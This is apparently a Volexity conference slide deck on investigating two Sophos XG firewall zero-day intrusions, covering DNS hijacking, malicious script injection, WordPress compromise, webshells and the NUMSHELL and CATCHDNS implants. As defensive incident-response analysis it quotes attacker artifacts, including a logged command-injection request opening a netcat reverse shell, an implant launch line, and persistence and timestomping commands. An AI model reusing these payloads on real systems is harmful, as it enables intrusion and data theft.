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The most frustrating 0-day ever
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Our story begins.. Early [Certificate] Warnings
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Initial Investigations

§The first thing we do is take a look at the website 
ourselves…

§Taking a closer look via a network sensor we have 
deployed shows there is a problem
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Check
DNS OK?
HTTPS ok for us?
No NS change?
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Interesting DNS Results
§ Normal everyday DNS resolution (CloudFlare):

2020-07-10T12:50:52Z UDP 10.29.10.45:50215 -> 8.8.8.8:53 
DNS: [<redacted>.org A 172.67.210.x][redacted.org A 
104.21.58.x]

§ The last two hours (Hong Kong VPS Provider):

2020-07-10T14:18:53Z UDP 10.29.11.21:56274 -> 8.8.8.8:53 
DNS: [<redacted>.org A 45.40.x.x]

2020-07-10T14:24:18Z UDP 10.29.26.104:64114 -> 8.8.8.8:53 
DNS: [<redacted>.org A 45.40.x.x]
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Domain Take Over or DNS Poisoning
§ It is quickly apparent that there is something going on with 
DNS

§ We search the Hong Kong IP and find that in the last week it 
has been used in the resolution of nine websites popular 
within this organization:

‣ 7 of the 9 websites belong to this organization
‣ 1 is a government website
‣ 1 is a regionally popular news website 
‣ At the time, the news website did not use SSL/TLS
‣We have pcap!
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Server Response
§ We take a look at the server response to see what is going on.
§ At first glance, it looks like everything is normal… until…

 <script type="text/javascript">
                jQuery(document).ready(function(){
                        jQuery('').fitVids();
                });

                </script>
                </body><script 
src="https://<redacted>.redirectme.net/jquery-mins.js"></script>
</html>
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Access Controlled C2
§As we start to investigate more, we notice that we cannot 
connect to the attacker C2 address:

‣ No running services captured on these addresses in BinaryEdge, 
Censys, Shodan, etc.
‣ Attacker systems configured with an ACL?

§ Luckily, we can connect via our network point of presence 
to dig a bit deeper.
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Intercepting with Burp Suite
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What Does It Do?

10

OS Windows?
-> User-Agent Chrome or Firefox?
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Malware: DOHDRIVE and GOSLU

§Two payloads (different per browser):
‣  GOSLU
‣  DOHDRIVE

§Both payloads make use of Google Drive as their primary 
C2 mechanism.
‣  DOHDRIVE also has a DoH c2 mechanism

§All communications are encrypted and to Google IP 
addresses // hostnames, which makes detection on the 
network painful.
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From Bad to Worse
§ Remember that several of the intercepted websites were run 
by the organization?

§ Guess what Hong Kong IP address we found in the web logs 
accessing their WordPress administration pages?

162.158.x.x - - - - [11/Jul/2020:07:22:21 +0000] "xxxxxxx.zzz" "GET /wp-
admin/plugins.php?activate=true&plugin_status=all&paged=1&s= HTTP/1.1" 
200 35866 "https://xxxxxxx.zzz/wp-admin/plugin-
install.php?s=file+manager&tab=search&type=term" "Mozilla/5.0 (Window
s NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/76.0.3809.132 Safari/537.36" "45.40.x.x"
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Webshells and More
§ The attackers gained access to three of the seven websites 
they MITM’d… impressive. 
‣ Uploaded several webshells
‣ Modified login pages to steal credentials

§ auditd installed and made examining their actions easy:
‣ Tried several privilege escalation scripts
‣ Ran scripts to look for passwords from files on the system
‣ Launched post-exploitation tool enumy to look for vulnerabilities
‣ Python used to provide reverse shell connectivity via /bin/bash
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Back to the Investigation
§We know DNS poisoning is happening, but how?
§We start checking possible causes and excluding:
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Check
NS compromise?
DNS modification at registrar level?
Upstream DNS issue?
ARP spoofing // interception?
Firewall compromise? ?
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Sophos Firewall
§ We get root access to the firewall and SSH in…

 tcp 0 1 10.152.0.3:40514 122.10.x.x:443 SYN_SENT 11833/ddnsd

§ Find an altered startup script to run a custom malware family:

 /bin/shsd -r -i 122.10.x.x -p 443 &

§ Poke around a bit more at the bash_history… and find a second 
binary:
 ls /bin/rst
 chmod +x /bin/rst
 cd /bin
 ./rst

15
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shsd - NUMSHELL
§ Volexity calls the implant we found running as shsd NUMSHELL. It 

has the following functions/capabilities:
‣ Case 0 and 6: Exit command loop
‣ Case 1: Write file
‣ Case 2: Exec command
‣ Case 4: Read file
‣ Case 5: Destroy file/dir, either overwrite with zero or delete
‣ Case 7: Reverse Shell
‣ Case 8: Exec and retrieve data from pipe
‣ Case 9: (Heartbeat)
‣ Case 10: Change main loop delay
‣ Case 11: Generate recon buffer
• Lists interfaces 
• System metrics

16
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rst – CATCHDNS
§ We discover the culprit in the rst binary; a tool we call 
CATCHDNS:
 spoof
 multi
 nospoof
 spoofalert
 reorder
 /etc/resolv.conf
 will hijack dns:%s, ip:%s

§ From memory collected from the firewall…

 will hijack dns:www.msftconnecttest.com, ip:122.10.x.x

17
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Firewall Compromise
§ We’ve found out what they did…
§ But how did the firewall get compromised?
‣No evidence remains; 
‣ logs/data have been deleted or have paged;

§ Firewall is rebuilt, brought fully up to date and credentials are 
changed.

§ Volexity has full visibility on any administrative/SSH access to 
the firewall, so we can closely watch it.

§ Actively connecting into the firewall to keep an eye too…

18

18



Firewall 0-day Investigations

© 2023 Volexity Inc. 10

May 2023

© Volexity Inc.

Two Days Later…
Taking a look at bash_history on this brand new firewall…

 vi /scripts/logging/logmgt/isloggingenabled.sh

 chmod +x /scripts/logging/logmgt/isloggingenabled.sh

 touch -t 06251912 /scripts/logging/logmgt/isloggingenabled.sh

 mv /scripts/logging/logmgt/isloggingenabled.sh  
/scripts/logging/logmgt/.isloggingenabled.sh

 mv /bin/ssd /bin/ssoe 

 /bin/ssoe

19
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Investigation Round 5? 6? 7? 8?
§ We pore over the logs and make a big discovery:

"GET /userportal/Controller?mode=1415&json={\"pagesize\":\"123`     
nc+45.134.[redacted]+443+e+/bin/sh`\",\"vouchersperpage\":123,\
"addqrcode\":123,\"name\":[\"1\",\"2\"],\"portal\":123}&__Reque
stType=ajax HTTP/1.1" 200 535 60 
"hxxps://x.x.x.x/userportal/webpages/myaccount/login.jsp" “
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RCE via UserPortal?
§ We race to recreate this vulnerability:

‣ Test on customer’s firewall… no luck
‣ Setup Azure VM of Sophos XG Firewall… no luck
‣ Try everything we can imagine with and without credentials via user portal… no luck

§ We then log in as an admin and try the exploit… and it works!
‣ Problem #1: The admin interface of this firewall is not Internet-facing
‣ Problem #2: We see the attackers hit the user interface and apparently exploit it

§No way to recreate their attack path but can recreate the 
exact vulnerability via admin interface.. frustrating

21
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More Testing
§We decide it would be nice if we could roll back their 
firewall and setup detailed logging
‣Maybe catch a cookie or some value not in web logs?

§ In our test instance of the firewall we find out and confirm 
two big things:
‣ A version of tcpdump exists natively on the firewall
‣ Discover from Apache config that it terminates SSL and then 

uses mod_rewrite to send web portal traffic to localhost:8009

§We can tcpdump localhost port 8009 and capture all web 
requests to Sophos web controller.
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The Trap is Set
§ We have our plan to catch these sneaky attackers…
§ They come back and launch their exploits!

‣ The exploits look identical to what we had seen in the web logs and had been 
testing ourselves

‣ No cookies or special headers present in observed requests
‣ They keep trying the exploit over and over and over

23

§ The exploits fail… attackers are unsuccessful…
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Exploit? What Exploit?
§Are we being trolled by the attackers?
‣ It seems unlikely but what is going on?

§We continue our testing... the attackers continue theirs…
‣None of us succeed

§ This is good news overall, as the customer is protected 
but we have no answers. Just past signs of exploitation, 
recreation via the admin portal, and failed attempts to try 
again…

24
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The Most Frustrating 0-day in the World
§We found out later that…
‣ Sophos XG Firewalls get hotfixes that are separate from 

upgrades and are silently applied to the systems.
‣ The XG firewalls were silently patched less than eight hours after 

the last successful exploitation and just before we conducted our 
testing…

§We were hopelessly tinkering, testing, and monitoring in 
hopes of finding the 0-day that was…

25
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Two years 
(0.75 pandemics) 
later . . . 

26
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0 Groundhog Day
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Our Journey Begins…
§We get an alert for Attempted SSH inbound from the 
Sophos Firewall

§ Looking at running processes quickly showed a problem:

28

sh 17759 2092 root 23216 972 R sh -c sqlite3 /tmp/eventlogs/active.db ".dump" | sqlite3 
/tmp/eventlogs/activpython 18271 1 root 34320 4764 S python -c import pty; pty.spawn("/bin/sh")
sh 18272 18271 root 23416 2848 S /bin/sh
python 22973 1 root 34320 4904 S python -c import pty; pty.spawn("/bin/sh")
sh 22974 22973 root 23416 2864 S /bin/sh
python 31453 1 root 34320 4800 S python -c import pty; pty.spawn("/bin/sh")
sh 31462 31453 root 23416 2848 S /bin/sh
XG210_WP03_SFOS 18.5.1 MR-1-Build326# ps -w|grep py
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Looking at Weblogs on Firewall

§ Large # of suspicious requests to the user portal login 
page

§Referrer URL references non-existent page // JSP file
§ Log has rolled since likely exploitation date – so exploit 
request not present in logs anymore

29

07/Mar/2022:09:25:58 +0000] <redacted> "POST 
/userportal/webpages/myaccount/login.jsp HTTP/1.1" 200 - 0 "https:// 
<redacted>/userportal/jlbed/fikds4/BQ.jsp" "Mozilla/5.0 (Windows NT 6.1; 
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 
Safari/537.36"
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PCAP trick (again) – Webshell request

30
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Corresponding Object in Memory

31

• Sun BASE64Decoder 
reference

• Payload blob

• HTTP headers
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Not Your Average Webshell

32

§Searching filesystem for use of Sun BASE64DECODER 
function showed only one reference:

/usr/share/webconsole/WEB-
INF/classes/cyberoam/sessionmanagement/SessionCheckFilter.class

§ Legitimate component of firewall used to verify if current 
session is valid

32
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SessionCheckFilter.class

33

§ Called on access to any userportal component.
§  Backdoored by the attackers
§ Filters requests based on HTTP headers
§ If not valid attacker request, proceeds with normal 
functionality:
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SessionCheckFilter.class

34

§ Decrypts POST data using hard-coded AES key – has 
support for both native java base64 and sun base64 
decode:

34
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Modifying Firewall Components for Fun
§ Firewall is closed source, and .class file is compiled. 
§Adding backdoor requires:
‣ Get access to a legitimate copy of the file.
‣ Decompile (similar to what we did when analysing it)
‣ Add malicious logic
‣ Recompile

§No small feat!

35
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Other Tooling

36

§Numerous other webshells written to various directories, 
often timestomped to match legitimate files

§Added VPN accounts & certificates to firewall
§ cronjob added to download and execute arbitrary binary 
from C2
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It‘’s groundhog day!

37

§ Attacker intercepts DNS
§ Used MiTM to steal session cookies & 

credentials to breach additional 
services

§ Example attacker interaction with 
stolen session cookies: 

172.x.x.x - - - - 
[16/Mar/2022:08:19:57 +0000] "target.tld" "GET 
/wp-admin/ HTTP/1.1" 200 46067 "-" "Mozilla/5.0 
(Windows NT 10.0; Win64; x64; rv:97.0) 
Gecko/20100101 Firefox/97.0" "103.76.xx.xx"

§ Deploy additional malware/webshells to 
newly breached systems

37
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WordPress compromise observation – File 
Manager

38

§ The attacker searched for the “File Manager” plugin and 
installed it. This plugin can be used to perform file 
management tasks on the website

172.x.x.x - - - - [16/Mar/2022:08:26:21 +0000] "target.tld" "GET /wp-
admin/plugins.php?_wpnonce=13241af34c&action=activate&plugin=wp-file-
manager/file_folder_manager.php HTTP/1.1" 302 0 
"https://target.tld/wp-admin/plugin-
install.php?s=file%20manager&tab=search&type=term" "103.76.x.x“

172.x.x.x - - - - [16/Mar/2022:08:26:22 +0000] "target.tld" "GET /wp-
admin/plugins.php?activate=true&plugin_status=all&paged=1&s= 
HTTP/1.1" 200 43523 "https://target.tld/wp-admin/plugin-
install.php?s=file%20manager&tab=search&type=term" "103.76.x.x"
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Malware: The Attacker Goes Open Source

39

§On compromised servers, attackers install a cohort of 
open-source malware:
‣ PUPYRAT 
‣ Pantegana
‣ SLIVER
‣Webshells sourced from GitHub & a few simple ones they wrote 

themselves.
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Finding the source of exploitation

40

§Once again logs have paged over… and there is no route 
to investigate the exploitation of the firewall.

§Reported our findings to Sophos and see if they know 
anything.

§ They have also seen the same indicators associated with 
exploitation elsewhere – it’s CVE-2022-1040!

40



Firewall 0-day Investigations

© 2023 Volexity Inc. 21

May 2023

© Volexity Inc.

CVE-2022-1040

41

https://www.volexity.com/
blog/2022/06/15/driftingcl
oud-zero-day-sophos-
firewall-exploitation-and-
an-insidious-breach/

&&    
https://news.sophos.com/
en-us/2022/06/15/sophos-
uncovers-how-apt-groups-
carried-out-highly-
targeted-attack/
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Two 0-days… One Workflow

42
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Final thoughts
§ Compromise of network edge devices grants attackers 
lots of opportunities.

§ Impossible to determine true scope of what was stolen or 
compromised in these incidents.

§ Incident playbooks often remain the same.
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If you have any further questions or comments, feel free to reach out.
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Thank you for your time!

Contact
email: tlancaster@volexity.com
twitter: @tlansec 
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